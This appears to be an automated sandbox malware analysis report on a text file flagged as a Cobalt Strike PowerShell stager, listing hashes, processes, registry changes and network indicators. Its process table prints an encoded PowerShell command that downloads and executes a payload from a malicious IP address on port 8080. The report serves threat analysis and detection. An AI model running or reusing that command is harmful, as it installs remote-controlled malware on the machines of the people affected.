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File name:

ttest.text

Full analysis: https://app.any.run/tasks/fabf2c00-6b73-4dad-9b1c-9087ee486f18
Verdict: Malicious activity
Threats:

Cobalt Strike is a legitimate penetration software toolkit developed by Forta. But its cracked versions are widely adopted by bad actors, who use it as a C2 system of choice for targeted attacks.

Malware Trends Tracker     >>>
Analysis date: January 14, 2022, 20:34:03
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
cobaltstrike
trojan
Indicators:
MIME: text/plain
File info: ASCII text, with no line terminators
MD5:

52CB5D2BF929392C11E48F7B7BE883FB

SHA1:

E250BBB9F670F05D3B1D52962C7DF8E50EA06829

SHA256:

16EA40F04D29F260D97E4B9D3F5AE0DCEFCE749119F34C1F212173907A9592D9

SSDEEP:

6:snyUeCrgSqSCUdT14Ee2vCoj70/8QpQJQkhkrRksS/nmaa:snhrgSqJb25jckXYw/Fa

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • COBALTSTRIKE was detected

      • powershell.exe (PID: 2608)
      • powershell.exe (PID: 3336)

  • SUSPICIOUS

    • Reads the computer name

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2608)
      • powershell.exe (PID: 2768)
      • powershell.exe (PID: 3336)

    • Checks supported languages

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2608)
      • powershell.exe (PID: 2768)
      • powershell.exe (PID: 3336)

    • Reads the date of Windows installation

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)

    • PowerShell script executed

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)

    • Creates files in the user directory

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)

    • Reads Environment values

      • powershell.exe (PID: 2608)
      • powershell.exe (PID: 3336)

    • Application launched itself

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)

    • Executes PowerShell scripts

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)

  • INFO

    • Checks supported languages

      • rundll32.exe (PID: 1236)

    • Manual execution by user

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2768)

    • Checks Windows Trust Settings

      • powershell.exe (PID: 1564)
      • powershell.exe (PID: 2608)
      • powershell.exe (PID: 2768)
      • powershell.exe (PID: 3336)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
5
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start rundll32.exe no specs powershell.exe no specs #COBALTSTRIKE powershell.exe powershell.exe no specs #COBALTSTRIKE powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
1236"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL "C:\Users\admin\Desktop\ttest.text"C:\Windows\system32\rundll32.exe—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
1564"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-file" "C:\Users\admin\Desktop\ttest.ps1"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2608"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMQAxADIALgA4ADMALgAxADEANgA6ADgAMAA4ADAALwBkAHIAdgAnACkAKQA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2768"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-file" "C:\Users\admin\Desktop\ttest.ps1"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3336"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMQAxADIALgA4ADMALgAxADEANgA6ADgAMAA4ADAALwBkAHIAdgAnACkAKQA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
4 234
Read events
4 098
Write events
136
Delete events
0

Modification events

(PID) Process:(1564) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1564) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1564) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(1564) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(1564) powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2608) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2608) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2608) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(2608) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(2608) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
Executable files
0
Suspicious files
14
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
1564powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\O53YAWOV4Z9XE72V48OZ.tempbinary
MD5:B08D01A0B8CEB42AC9C481ABB0BB4F26
SHA256:21E11C0F284990C828D1C50772D06A10721C63D370526B9F7EBE070C62137AEC
2768powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VLIZEVA8D5CJIO8N8F1N.tempbinary
MD5:B08D01A0B8CEB42AC9C481ABB0BB4F26
SHA256:21E11C0F284990C828D1C50772D06A10721C63D370526B9F7EBE070C62137AEC
2768powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:B08D01A0B8CEB42AC9C481ABB0BB4F26
SHA256:21E11C0F284990C828D1C50772D06A10721C63D370526B9F7EBE070C62137AEC
1564powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11507e.TMPbinary
MD5:CCFCF369F751CE8DA0370D84E52A7EED
SHA256:53922490C3F5A04667EC3605A01AF2A4F4F265782D1BCA519F63ACAD413F2ED9
1564powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:B08D01A0B8CEB42AC9C481ABB0BB4F26
SHA256:21E11C0F284990C828D1C50772D06A10721C63D370526B9F7EBE070C62137AEC
2768powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11a006.TMPbinary
MD5:B08D01A0B8CEB42AC9C481ABB0BB4F26
SHA256:21E11C0F284990C828D1C50772D06A10721C63D370526B9F7EBE070C62137AEC
1564powershell.exeC:\Users\admin\AppData\Local\Temp\nknkhhnx.kbu.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2768powershell.exeC:\Users\admin\AppData\Local\Temp\sf3qoozk.tg1.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
1564powershell.exeC:\Users\admin\AppData\Local\Temp\vklc20w5.xw1.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2768powershell.exeC:\Users\admin\AppData\Local\Temp\pzmwvxs4.5zp.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2608
powershell.exe
GET
200
185.112.83.116:8080
http://185.112.83.116:8080/drv
RU
text
57.9 Kb
malicious
3336
powershell.exe
GET
200
185.112.83.116:8080
http://185.112.83.116:8080/drv
RU
text
57.9 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2608
powershell.exe
185.112.83.116:8080
—
Total Server Solutions L.L.C.
RU
malicious
3336
powershell.exe
185.112.83.116:8080
—
Total Server Solutions L.L.C.
RU
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
2608
powershell.exe
A Network Trojan was detected
AV MALWARE CobaltStrike Trojan Powershell Payload Inbound
3336
powershell.exe
A Network Trojan was detected
AV MALWARE CobaltStrike Trojan Powershell Payload Inbound
No debug info
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Reports
ttest.text